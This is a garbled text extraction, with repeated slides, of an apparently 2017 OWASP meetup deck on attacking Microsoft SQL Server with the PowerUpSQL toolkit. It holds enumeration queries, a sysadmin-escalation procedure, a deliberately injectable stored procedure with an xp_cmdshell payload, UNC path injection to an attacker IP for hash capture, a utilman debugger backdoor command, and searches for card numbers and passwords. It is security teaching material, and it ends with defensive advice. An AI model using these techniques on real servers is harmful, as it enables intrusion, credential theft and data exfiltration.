Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 34: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 35: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

